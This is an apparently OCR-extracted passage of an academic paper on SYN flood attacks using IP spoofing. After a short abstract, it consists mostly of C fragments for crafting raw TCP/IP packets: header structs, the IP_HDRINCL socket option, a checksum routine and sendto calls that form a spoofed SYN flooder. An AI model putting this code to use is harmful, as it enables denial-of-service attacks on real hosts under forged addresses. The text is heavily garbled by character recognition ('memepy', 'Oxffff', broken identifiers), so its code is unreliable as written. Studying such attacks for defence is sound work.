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SYNFlood Attack Based on IP Spoofing
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Abstract: The transmission control protocol { TCP) of network layer provided point — to — point service with communication — oriented and
high reliable for user. But TCP absent authentification function, result in some secure risk in network communication. Introduced the work

mechanism of three hand way of TCP protocol, and analyzed the principle of SYNflood attack based on IP spoofing, then implemented the

technology of the network composites attack. Finally, provided some measures to avoid the network attack.
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typedef struct tephdr

{
USHORT th. sport;
USHORT th_dport;; -
unsigned int th_ seq; unsigned int th_ack; ;
unsigned char th_ lenres;
unsigned char th- flag; USHORT th- win;
USHORT th_ sum; USHORT th. urp;

} TCP_ HEADER;
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typedef struct iphdr
{
unsigned char h_ verlen;
unsigned char tos; unsigned short otal- len; unsigned short i-
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unsigned short frag. and.- flags;
unsigned char ttl; unsigned char proto;
unsigned short checksum;
unsigned int sourcelP; unsigned int destIP;
}IP_HEADER;
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setsockopt ( SockRaw, IPPROTO. IP, IP_ HDRIN-
CL, (char * ) &flag, sizeof(int)) ;
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USHORT checksum(USHORT * buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+ = * buffer+ +;
size ~ = sizeof (USHORT) ;
}
if(size )cksum + = * (UCHAR * )buffer;
cksum = (cksum > > 16) + (cksum & Oxffff);
cksum + = (cksum >>16);
return (USHORT) (cksum) ;

}
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Struct

{
unsigned long saddr;
signed long daddr; ar mbz;
char ptcl; signed short tepl;
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memepy( SendBuf + sizeof (ip_ header) , &tcp- head-
er, sizeof (tcp_ header) ) ;

ip header. checksum = checksum( ( USHORT) Send-
Buf, sizeof (ip- header) + sizeof(tcp- header)),
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memepy(SendBuf , &ip _ header, sizeof (ip_ header) ) ;

sendto( SockRaw, SendBuf, datasize, 0, ( structsock-
addr * ) &DestAddr,
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